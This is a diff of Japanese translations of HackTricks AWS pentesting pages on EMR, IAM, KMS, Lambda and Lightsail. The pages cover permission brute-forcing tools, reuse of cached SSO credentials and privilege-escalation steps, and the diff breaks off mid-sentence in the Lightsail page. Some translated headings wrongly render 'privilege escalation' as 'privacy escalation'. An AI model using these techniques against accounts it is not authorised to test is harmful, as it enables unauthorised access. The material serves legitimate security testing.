a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 3a3f78ebc..e641b84a9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,18 +4,18 @@ ## EMR -AWSのElastic MapReduce (EMR)サービスは、バージョン4.8.0から、**セキュリティ構成**機能を導入し、ユーザーがEMRクラスター内の静止データと転送中のデータの暗号化設定を指定できるようにすることでデータ保護を強化しています。EMRクラスターは、Apache HadoopやSparkなどのビッグデータフレームワークを処理するために設計されたスケーラブルなEC2インスタンスのグループです。 +AWSのElastic MapReduce (EMR)サービスは、バージョン4.8.0から、**セキュリティ構成**機能を導入し、ユーザーがEMRクラスター内の静止データと転送中のデータの暗号化設定を指定できることでデータ保護を強化します。EMRクラスターは、Apache HadoopやSparkなどのビッグデータフレームワークを処理するために設計されたスケーラブルなEC2インスタンスのグループです。 主な特徴は以下の通りです: - **クラスター暗号化デフォルト**:デフォルトでは、クラスター内の静止データは暗号化されていません。ただし、暗号化を有効にすると、いくつかの機能にアクセスできます: - **Linux Unified Key Setup**:EBSクラスターのボリュームを暗号化します。ユーザーはAWS Key Management Service (KMS)またはカスタムキー提供者を選択できます。 - **オープンソースHDFS暗号化**:Hadoop用の2つの暗号化オプションを提供します: -- セキュアHadoop RPC(リモートプロシージャコール)、プライバシーに設定され、Simple Authentication Security Layerを利用します。 +- セキュアHadoop RPC(リモートプロシージャコール)、プライバシーに設定され、Simple Authentication Security Layerを活用します。 - HDFSブロック転送暗号化、trueに設定され、AES-256アルゴリズムを利用します。 - **転送中の暗号化**:転送中のデータを保護することに焦点を当てています。オプションには以下が含まれます: - **オープンソースTransport Layer Security (TLS)**:証明書提供者を選択することで暗号化を有効にできます: -- **PEM**:PEM証明書を手動で作成し、zipファイルにバンドルする必要があり、S3バケットから参照されます。 +- **PEM**:PEM証明書を手動で作成し、zipファイルにバンドルしてS3バケットから参照する必要があります。 - **カスタム**:暗号化アーティファクトを提供する証明書提供者としてカスタムJavaクラスを追加します。 TLS証明書提供者がセキュリティ構成に統合されると、EMRバージョンに応じて以下のアプリケーション固有の暗号化機能を有効にできます: @@ -23,13 +23,13 @@ TLS証明書提供者がセキュリティ構成に統合されると、EMRバ - **Hadoop**: - TLSを使用して暗号化されたシャッフルを減少させる可能性があります。 - 静止データ暗号化が有効な場合、Simple Authentication Security Layerを使用したセキュアHadoop RPCとAES-256によるHDFSブロック転送が有効になります。 -- **Presto**(EMRバージョン5.6.0以上): +- **Presto** (EMRバージョン5.6.0以上): - Prestoノード間の内部通信はSSLおよびTLSを使用して保護されます。 - **Tez Shuffle Handler**: -- 暗号化のためにTLSを利用します。 +- 暗号化にTLSを利用します。 - **Spark**: -- AkkaプロトコルのためにTLSを使用します。 -- ブロック転送サービスのためにSimple Authentication Security Layerと3DESを使用します。 +- AkkaプロトコルにTLSを使用します。 +- ブロック転送サービスにSimple Authentication Security Layerと3DESを使用します。 - 外部シャッフルサービスはSimple Authentication Security Layerで保護されています。 これらの機能は、特にストレージおよび転送フェーズにおけるデータ保護に関して、EMRクラスターのセキュリティ姿勢を総合的に強化します。 @@ -45,7 +45,7 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` -#### プライベートエスカレーション +#### プライバシー昇格 {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index b37f062f9..9ed48ae6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -90,11 +90,11 @@ aws iam list-virtual-mfa-devices ``` ### パーミッションブルートフォース -自分のパーミッションに興味があるが、IAMをクエリするアクセス権がない場合は、常にブルートフォースすることができます。 +自分のパーミッションに興味があるが、IAMをクエリするアクセス権がない場合は、常にブルートフォースを試みることができます。 #### bf-aws-permissions -ツール [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) は、指定されたプロファイルを使用して、`aws` cli ヘルプメッセージを使用して見つけたすべての **`list*`, `describe*`, `get*`** アクションを実行するだけのバッシュスクリプトであり、**成功した実行を返します**。 +ツール [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) は、指定されたプロファイルを使用して、`aws` cli ヘルプメッセージを利用して見つけたすべての **`list*`, `describe*`, `get*`** アクションを実行し、**成功した実行を返す**だけのbashスクリプトです。 ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt @@ -114,7 +114,7 @@ python3 aws_permissions_checker.py --profile [--arn ] python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> AWS管理ロールによって付与された権限があるかどうかを「知る」ことができるのは、例えば**使用されていないサービスに対する権限がある**場合です。 +> あなたが持っている権限がAWS管理ロールによって付与されているかどうかを「知る」ことができるのは、例えば**使用されていないサービスに対する権限を持っている場合**です。 #### Cloudtrail2IAM @@ -126,11 +126,11 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> .tfstate(Terraformステートファイル)やCloudFormationファイル(通常、cf-templatesというプレフィックスが付いたバケット内にあるyamlファイル)を見つけた場合、それらを読み取ってawsの設定を見つけ、誰にどの権限が割り当てられているかを確認できます。 +> .tfstate(Terraformステートファイル)やCloudFormationファイル(これらは通常、cf-templatesというプレフィックスが付いたバケット内にあるyamlファイル)を見つけた場合、それらを読み取ってawsの設定を見つけ、誰にどの権限が割り当てられているかを確認できます。 #### enumerate-iam -ツール[**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam)を使用するには、まずすべてのAPI AWSエンドポイントをダウンロードする必要があります。そこからスクリプト**`generate_bruteforce_tests.py`**がすべての**"list\_", "describe\_", および "get\_"エンドポイントを取得します。** 最後に、指定された資格情報で**それらにアクセスしようとし、** **成功したかどうかを示します。** +ツール[**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam)を使用するには、まずすべてのAPI AWSエンドポイントをダウンロードする必要があります。そこからスクリプト**`generate_bruteforce_tests.py`**がすべての**"list\_", "describe\_", および "get\_"エンドポイントを取得します。** 最後に、指定された資格情報で**それらにアクセスしようとし**、**成功したかどうかを示します**。 (私の経験では、**ツールはある時点でハングします**、[**この修正を確認してください**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c)それを修正しようとするために)。 @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -ツール[**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki)を使用することもできます。このツールは**いくつかの一般的なサービスに対するいくつかの一般的な操作をチェックします**(いくつかの列挙権限といくつかの特権昇格権限をチェックします)。しかし、コーディングされたチェックのみを確認します(より多くのテストをコーディングすることでのみ、より多くの情報を確認できます)。 +このツール [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) を使用することもできます。このツールは **いくつかの一般的なサービスに対するいくつかの一般的な操作をチェックします**(いくつかの列挙権限といくつかの特権昇格権限をチェックします)。しかし、コーディングされたチェックのみを確認します(より多くのテストをコーディングすることでのみ、より多くの情報を確認できます)。 ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -224,13 +224,13 @@ steampipe dashboard ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAMのポストエクスプロイト +### IAMポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAMの持続性 +### IAM持続性 {{#ref}} ../aws-persistence/aws-iam-persistence.md @@ -260,13 +260,13 @@ sso_region = us-east-1 Identity Centerの主な要素は次のとおりです: - ユーザーとグループ -- 権限セット:ポリシーが添付されています +- パーミッションセット:ポリシーが添付されています - AWSアカウント -その後、ユーザー/グループがAWSアカウントに対して権限セットを持つように関係が作成されます。 +その後、ユーザー/グループがAWSアカウントに対してパーミッションセットを持つように関係が作成されます。 > [!NOTE] -> ポリシーを権限セットに添付する方法は3つあります。AWS管理ポリシーを添付すること、カスタマー管理ポリシー(これらのポリシーは、権限セットが影響を与えるすべてのアカウントで作成する必要があります)、およびインラインポリシー(ここで定義されます)。 +> ポリシーをパーミッションセットに添付する方法は3つあります。AWS管理ポリシーを添付すること、カスタマー管理ポリシー(これらのポリシーは、パーミッションセットが影響を与えるすべてのアカウントで作成する必要があります)、およびインラインポリシー(ここで定義されます)。 ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### ローカル列挙 -フォルダ `$HOME/.aws` 内に、SSO 経由でアクセス可能なプロファイルを設定するためのファイル config を作成することができます。例えば: +フォルダ `$HOME/.aws` 内に、SSO 経由でアクセス可能なプロファイルを設定するための config ファイルを作成することができます。例えば: ```ini [default] region = us-west-2 @@ -320,16 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` -この構成は次のコマンドで使用できます: +この設定は次のコマンドで使用できます: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. したがって、それらは**そこから読み取られ、使用される**ことができます。 +**SSOからのプロファイルが使用される**と、資格情報は**`$HOME/.aws/sso/cache`**フォルダー内のファイルに**キャッシュ**されます。したがって、そこから**読み取って使用する**ことができます。 -さらに、**より多くの資格情報**はフォルダー**`$HOME/.aws/cli/cache`**に保存できます。このキャッシュディレクトリは、主にIAMユーザー資格情報を使用する**AWS CLIプロファイル**で作業しているときや、IAMを通じて**ロールを引き受ける**とき(SSOなし)に使用されます。設定例: +さらに、**追加の資格情報**は**`$HOME/.aws/cli/cache`**フォルダーに保存できます。このキャッシュディレクトリは、IAMユーザー資格情報を使用する**AWS CLIプロファイル**で作業しているときに主に使用されます。または、IAMを通じて**ロールを引き受ける**場合(SSOなし)。設定例: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -365,8 +365,8 @@ aws identitystore create-user --identity-store-id --user-name privesc ``` - グループを作成し、権限を割り当て、制御されたユーザーを設定します - 制御されたユーザーまたはグループに追加の権限を付与します -- デフォルトでは、管理アカウントの権限を持つユーザーのみがIAMアイデンティティセンターにアクセスし、制御できるようになります。 +- デフォルトでは、Management Accountからの権限を持つユーザーのみがIAM Identity Centerにアクセスし、制御できるようになります。 -ただし、Delegate Administratorを介して、別のアカウントのユーザーが管理できるようにすることが可能です。彼らは正確に同じ権限を持つわけではありませんが、[**管理活動**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)を実行することができます。 +ただし、Delegate Administratorを介して、別のアカウントのユーザーがそれを管理できるようにすることが可能です。彼らは正確に同じ権限を持つわけではありませんが、[**管理活動**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)を実行することができます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 268c31210..e00e73168 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,17 +4,17 @@ ## KMS - キー管理サービス -AWSキー管理サービス(AWS KMS)は、**顧客マスターキー**(CMK)を**作成および管理する**プロセスを簡素化するマネージドサービスとして提供されています。これらのCMKは、ユーザーデータの暗号化に不可欠です。AWS KMSの注目すべき機能は、CMKが主に**ハードウェアセキュリティモジュール**(HSM)によって**保護されている**ことです。これにより、暗号化キーの保護が強化されます。 +AWSキー管理サービス(AWS KMS)は、顧客マスターキー(CMK)を**作成および管理する**プロセスを簡素化するマネージドサービスとして提供されています。これらのCMKは、ユーザーデータの暗号化に不可欠です。AWS KMSの注目すべき機能は、CMKが主に**ハードウェアセキュリティモジュール**(HSM)によって**保護されている**ことです。これにより、暗号化キーの保護が強化されます。 KMSは**対称暗号化**を使用します。これは、**情報を静止状態で暗号化する**ために使用されます(例えば、S3内)。**情報を転送中に暗号化する**必要がある場合は、**TLS**のようなものを使用する必要があります。 KMSは**リージョン固有のサービス**です。 -**Amazonの管理者はあなたのキーにアクセスできません**。彼らはあなたのキーを復元することができず、あなたのキーの暗号化を手伝うこともありません。AWSは単にオペレーティングシステムとその基盤となるアプリケーションを管理しており、私たちが暗号化キーを管理し、それらのキーがどのように使用されるかを管理する責任があります。 +**Amazonの管理者はあなたのキーにアクセスできません**。彼らはあなたのキーを回復することができず、あなたのキーの暗号化を手伝うこともありません。AWSは単にオペレーティングシステムとその基盤となるアプリケーションを管理しており、私たちが暗号化キーを管理し、それらのキーがどのように使用されるかを管理する責任があります。 -**顧客マスターキー**(CMK):最大4KBのデータを暗号化できます。通常、DEK(データ暗号化キー)を作成、暗号化、復号化するために使用されます。その後、DEKはデータを暗号化するために使用されます。 +**顧客マスターキー**(CMK):最大4KBのサイズのデータを暗号化できます。通常、DEK(データ暗号化キー)を作成、暗号化、復号化するために使用されます。その後、DEKを使用してデータを暗号化します。 -顧客マスターキー(CMK)は、AWS KMSにおけるマスターキーの論理的表現です。マスターキーの識別子や作成日、説明、キーの状態などの他のメタデータに加えて、**CMKにはデータを暗号化および復号化するために使用されるキー素材が含まれています**。CMKを作成すると、デフォルトでAWS KMSはそのCMKのためのキー素材を生成します。ただし、キー素材なしでCMKを作成し、そのCMKに自分のキー素材をインポートすることもできます。 +顧客マスターキー(CMK)は、AWS KMSにおけるマスターキーの論理的表現です。マスターキーの識別子や作成日、説明、キーの状態などのメタデータに加えて、**CMKにはデータを暗号化および復号化するために使用されるキー素材が含まれています**。CMKを作成すると、デフォルトでAWS KMSはそのCMKのためのキー素材を生成します。ただし、キー素材なしでCMKを作成し、そのCMKに自分のキー素材をインポートすることも選択できます。 マスターキーには2種類あります: @@ -29,17 +29,17 @@ KMSは**リージョン固有のサービス**です。 **デフォルトでは:** -- **KMSキーを所有するAWSアカウントのIAMにアクセスを管理する**権限を与えます。 +- KMSキーを所有する**AWSアカウントのIAMにアクセスを管理する**権限を与えます。 -他のAWSリソースポリシーとは異なり、AWS **KMSキーのポリシーはアカウントのいずれかのプリンシパルに自動的に権限を与えません**。アカウント管理者に権限を与えるには、**キーのポリシーにこの権限を提供する明示的なステートメントを含める必要があります**。 +他のAWSリソースポリシーとは異なり、AWSの**KMSキーのポリシーは、アカウントの任意のプリンシパルに自動的に権限を与えません**。アカウント管理者に権限を与えるには、**キーのポリシーにこの権限を提供する明示的なステートメントを含める必要があります**。 -- アカウント(`"AWS": "arn:aws:iam::111122223333:root"`)に許可を与えない限り、IAM権限は機能しません。 +- アカウントを許可しない限り(`"AWS": "arn:aws:iam::111122223333:root"`)、IAM権限は機能しません。 -- **キーのポリシーに加えて、KMSキーへのアクセスを許可するためにIAMポリシーを使用することを許可します**。 +- これは、**キーのポリシーに加えて、KMSキーへのアクセスを許可するためにIAMポリシーを使用することを**許可します。 **この権限がないと、キーへのアクセスを許可するIAMポリシーは無効になります**が、キーへのアクセスを拒否するIAMポリシーは依然として有効です。 -- **アカウント管理者、削除できないアカウントのルートユーザーを含む**アカウント管理者にアクセス制御権限を与えることにより、キーが管理不能になるリスクを**軽減します**。 +- これは、**アカウント管理者、削除できないアカウントのルートユーザーを含む**アカウント管理者にアクセス制御権限を与えることにより、キーが管理不能になるリスクを軽減します。 **デフォルトポリシー**の例: ```json @@ -54,7 +54,7 @@ KMSは**リージョン固有のサービス**です。 } ``` > [!WARNING] -> **アカウントが許可されている** (`"arn:aws:iam::111122223333:root"`) 場合、アカウントの **プリンシパル** は **KMSキーを使用するためにIAM権限が必要** です。しかし、例えば **ロールのARN** が **キー ポリシー** に **特に許可されている** 場合、そのロールは **IAM権限が不要** です。 +> **アカウントが許可されている** (`"arn:aws:iam::111122223333:root"`) 場合、アカウントの **プリンシパル** は **KMSキーを使用するためにIAM権限が必要** です。ただし、例えば **ロールのARN** が **キー ポリシー** に **特に許可されている** 場合、そのロールは **IAM権限が不要** です。
@@ -71,7 +71,7 @@ KMSは**リージョン固有のサービス**です。 グラント: -- AWSアカウント内の別のAWSプリンシパルに権限を委任することを許可します。AWS KMS APIを使用して作成する必要があります。CMK識別子、グラントを受けるプリンシパル、および必要な操作レベル (Decrypt, Encrypt, GenerateDataKey...) を指定できます。 +- AWSアカウント内の別のAWSプリンシパルに権限を委任することを許可します。AWS KMS APIを使用して作成する必要があります。CMK識別子、グラントプリンシパル、および必要な操作レベル (Decrypt, Encrypt, GenerateDataKey...) を指定できます。 - グラントが作成されると、GrantTokenとGrantIDが発行されます。 **アクセス**: @@ -87,15 +87,15 @@ KMSは**リージョン固有のサービス**です。 デフォルトのキー管理者: - KMSを管理するアクセス権を持っていますが、データを暗号化または復号化することはできません -- キー管理者リストには、IAMユーザーとロールのみを追加できます (グループは不可) -- 外部CMKが使用される場合、キー管理者はキー素材をインポートする権限を持っています +- キー管理者リストには、IAMユーザーとロールのみが追加できます (グループは不可) +- 外部CMKが使用される場合、キー管理者はキー材料をインポートする権限を持っています ### CMKのローテーション -- 同じキーが長く保持されるほど、そのキーで暗号化されるデータが増え、そのキーが侵害されると、リスクのあるデータの範囲が広がります。さらに、キーがアクティブである期間が長くなるほど、侵害される可能性が高くなります。 -- **KMSは顧客キーを365日ごとにローテーションします** (または、いつでも手動でプロセスを実行できます) そして **AWSが管理するキーは3年ごとにローテーションされ、今回は変更できません**。 +- 同じキーが長く使用されるほど、そのキーで暗号化されるデータが増え、そのキーが侵害されると、リスクのあるデータの範囲が広がります。さらに、キーがアクティブである期間が長くなるほど、侵害される可能性が高くなります。 +- **KMSは顧客キーを365日ごとにローテーションします** (または、いつでも手動でプロセスを実行できます) そして **AWSが管理するキーは3年ごとにローテーションされ、これは変更できません**。 - **古いキーは保持され**、ローテーション前に暗号化されたデータを復号化するために使用されます。 -- 侵害が発生した場合、キーをローテーションしても脅威は除去されず、侵害されたキーで暗号化されたすべてのデータを復号化することが可能です。しかし、**新しいデータは新しいキーで暗号化されます**。 +- 侵害が発生した場合、キーをローテーションしても脅威は除去されず、侵害されたキーで暗号化されたすべてのデータを復号化することが可能です。ただし、**新しいデータは新しいキーで暗号化されます**。 - **CMK** が **無効** または **削除保留中** の状態にある場合、KMSはCMKが再有効化されるか削除がキャンセルされるまで **キーのローテーションを実行しません**。 #### 手動ローテーション @@ -114,11 +114,11 @@ KMSは完全な監査およびコンプライアンス **CloudTrailとの統合* KMSポリシーを使用して、次のことができます: -- データキーを作成できる人と、これらのキーを使用するサービスを制限する +- データキーを作成できる人と、これらのキーを使用できるサービスを制限する - システムのアクセスを暗号化のみ、復号化のみ、または両方に制限する - システムがリージョンをまたいでキーにアクセスできるように定義する (ただし、KMSをホストしているリージョンでの障害が他のリージョンのシステムの可用性に影響を与えるため、推奨されません)。 -リージョン間でキーを同期または移動/コピーすることはできません。アクセスを許可するルールを定義することのみ可能です。 +リージョン間でキーを同期または移動/コピーすることはできません。リージョン間でのアクセスを許可するルールを定義することのみが可能です。 ### 列挙 ```bash @@ -129,7 +129,7 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` -### プライベートエスカレーション +### プライバシー昇格 {{#ref}} ../aws-privilege-escalation/aws-kms-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 29530d8c8..9cb6c5db7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,53 +4,53 @@ ## Lambda -Amazon Web Services (AWS) Lambdaは、**サーバーの提供や管理を必要とせずにコードを実行できる** **コンピュートサービス**として説明されています。コード実行に必要な**リソースの割り当てを自動的に処理する**能力が特徴で、高可用性、スケーラビリティ、セキュリティなどの機能を保証します。Lambdaの重要な側面は、**利用したコンピュート時間に基づいてのみ料金が発生する**価格モデルであり、初期投資や長期的な義務が不要です。 +Amazon Web Services (AWS) Lambdaは、**サーバーの提供や管理を必要とせずにコードを実行できる** **コンピュートサービス**として説明されています。これは、コード実行に必要な**リソースの割り当てを自動的に処理する**能力によって特徴付けられ、高可用性、スケーラビリティ、およびセキュリティなどの機能を保証します。Lambdaの重要な側面は、その価格モデルであり、**料金は使用されたコンピュート時間のみに基づいています**。これにより、初期投資や長期的な義務が不要になります。 -Lambdaを呼び出すには、**好きなだけ頻繁に**(Cloudwatchを使用して)呼び出すことが可能で、**URL**エンドポイントを**公開**して呼び出したり、**API Gateway**経由で呼び出したり、**S3**バケット内のデータの**変更**や**DynamoDB**テーブルの更新などの**イベント**に基づいて呼び出すことができます。 +Lambdaを呼び出すには、**好きなだけ頻繁に**(Cloudwatchを使用して)呼び出すことができ、**URL**エンドポイントを**公開**して呼び出したり、**API Gateway**経由で呼び出したり、**S3**バケット内のデータの**変更**や**DynamoDB**テーブルの更新などの**イベント**に基づいて呼び出すことができます。 Lambdaの**コード**は**`/var/task`**に保存されています。 ### Lambda Aliases Weights Lambdaは**複数のバージョン**を持つことができます。\ -また、**エイリアス**を介して**1つ以上の**バージョンを公開することができます。エイリアス内で公開されている**各**バージョンの**重み**が、**どのエイリアスが呼び出しを受けるか**を決定します(例えば90%-10%など)。\ -**1つ**のエイリアスのコードが**脆弱**な場合、**脆弱な**バージョンがエクスプロイトを受け取るまで**リクエストを送信**できます。 +また、**エイリアス**を介して**1つ以上の**バージョンを公開することができます。エイリアス内で公開されている**各**バージョンの**重み**は、**どのエイリアスが呼び出しを受けるか**を決定します(例えば90%-10%など)。\ +**1つ**のエイリアスのコードが**脆弱**である場合、**脆弱な**バージョンがエクスプロイトを受け取るまで**リクエストを送信**できます。 ![](<../../../images/image (223).png>) ### Resource Policies -Lambdaリソースポリシーは、他のサービスやアカウントにLambdaを呼び出す**アクセスを与える**ことを可能にします。\ -例えば、**URLを介して公開されたLambdaに誰でもアクセスできる**ようにするポリシーは次の通りです: +Lambdaリソースポリシーは、他のサービス/アカウントにLambdaを呼び出す**アクセスを与える**ことを可能にします。\ +例えば、これは**URLを介して公開されたLambdaに誰でもアクセスを許可する**ポリシーです:
-また、API Gatewayが呼び出すことを許可するためのポリシーは次の通りです: +また、これはAPI Gatewayが呼び出すことを許可するものです:
### Lambda Database Proxies -**数百**の**同時Lambdaリクエスト**がある場合、各リクエストが**データベースへの接続を開いて閉じる**必要があると、うまく機能しません(Lambdaはステートレスで、接続をオープンに保つことができません)。\ -そのため、**Lambda関数がデータベースインスタンスの代わりにRDS Proxyと対話する**場合、同時Lambda関数によって作成される多くの接続のために必要な接続プーリングを処理します。これにより、Lambdaアプリケーションは**既存の接続を再利用**でき、新しい接続を各関数呼び出しのために作成する必要がなくなります。 +**数百**の**同時Lambdaリクエスト**がある場合、各リクエストが**データベースに接続して接続を閉じる**必要があると、うまくいきません(Lambdaはステートレスで、接続をオープンに保つことができません)。\ +そのため、**Lambda関数がRDS Proxyと対話する**場合、データベースインスタンスの代わりに、同時Lambda関数によって作成された多くの接続をスケーリングするために必要な接続プーリングを処理します。これにより、Lambdaアプリケーションは**既存の接続を再利用**でき、新しい接続を各関数呼び出しのために作成する必要がなくなります。 ### Lambda EFS Filesystems -データを保持し、さらには共有するために、**LambdaはEFSにアクセスし、マウントすることができます**。これにより、LambdaはEFSから読み書きができるようになります。 +データを保持し、さらには共有するために、**LambdasはEFSにアクセスしてマウントすることができ**、Lambdaはそこから読み書きできるようになります。 ### Lambda Layers -Lambdaの**レイヤー**は、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 +Lambdaの**レイヤー**は、**追加のコード**や他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 **関数ごとに最大5つのレイヤーを含める**ことが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。 -**デフォルト**では、作成した**レイヤー**は**あなたのAWSアカウントにプライベート**です。他のアカウントとレイヤーを**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、レイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 +**デフォルト**では、作成した**レイヤー**は**あなたのAWSアカウントにプライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。異なるアカウントが公開したレイヤーを関数が使用する場合、関数は**レイヤーが削除された後や、レイヤーへのアクセス権が取り消された後もレイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 -コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージ化します。 +コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、および他の依存関係をコンテナイメージにパッケージ化します。 ### Lambda Extensions -Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンステクニック**と統合することで関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)を介して追加されるか、[コンテナイメージデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)もので、**内部**と**外部**の2つのモードで動作します。 +Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンスツール**と統合することによって関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)または[コンテナイメージデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)形で追加され、**内部**および**外部**の2つのモードで動作します。 - **内部拡張**は、ランタイムプロセスと統合し、**言語固有の環境変数**や**ラッパースクリプト**を使用してその起動を操作します。このカスタマイズは、**Java Correto 8および11、Node.js 10および12、.NET Core 3.1**などのさまざまなランタイムに適用されます。 - **外部拡張**は、別のプロセスとして実行され、Lambda関数のライフサイクルに合わせて動作を維持します。これらは、**Node.js 10および12、Python 3.7および3.8、Ruby 2.5および2.7、Java Corretto 8および11、.NET Core 3.1**、および**カスタムランタイム**などのさまざまなランタイムと互換性があります。 @@ -108,15 +108,15 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### URL経由でLambda関数を呼び出す -今は実行する可能性のあるラムダ関数を見つける時です: +さて、実行可能なLambda関数を見つける時が来ました: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -「Level6」という名前のラムダ関数が利用可能です。呼び出し方を見てみましょう: +「Level6」と呼ばれるラムダ関数が利用可能です。呼び出し方を見てみましょう: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` @@ -128,19 +128,19 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ``` ![](<../../../images/image (237).png>) -そして最後に、関数を呼び出します(ID、Name、function-nameがURLに表示されることに注意してください): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +最後に、関数にアクセスして呼び出します(ID、Name、function-nameがURLに表示されることに注意してください): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** #### その他のトリガー -Lambdaをトリガーできる他の多くのソースがあります +他にも多くのソースがlambdaをトリガーできます。
-### プライベートエスカレーション +### プライバシー昇格 -次のページでは、**Lambdaの権限を悪用して権限をエスカレートする方法**を確認できます: +次のページでは、**Lambdaの権限を悪用して権限を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index bc4415753..7d02ad87f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsailは、新しいクラウドユーザーがAWSのクラウドコンピューティングサービスを利用するための**簡単**で軽量な方法を提供します。これにより、一般的およびカスタムのウェブサービスを**VM**(**EC2**)および**コンテナ**を介して数秒でデプロイできます。\ +Amazon 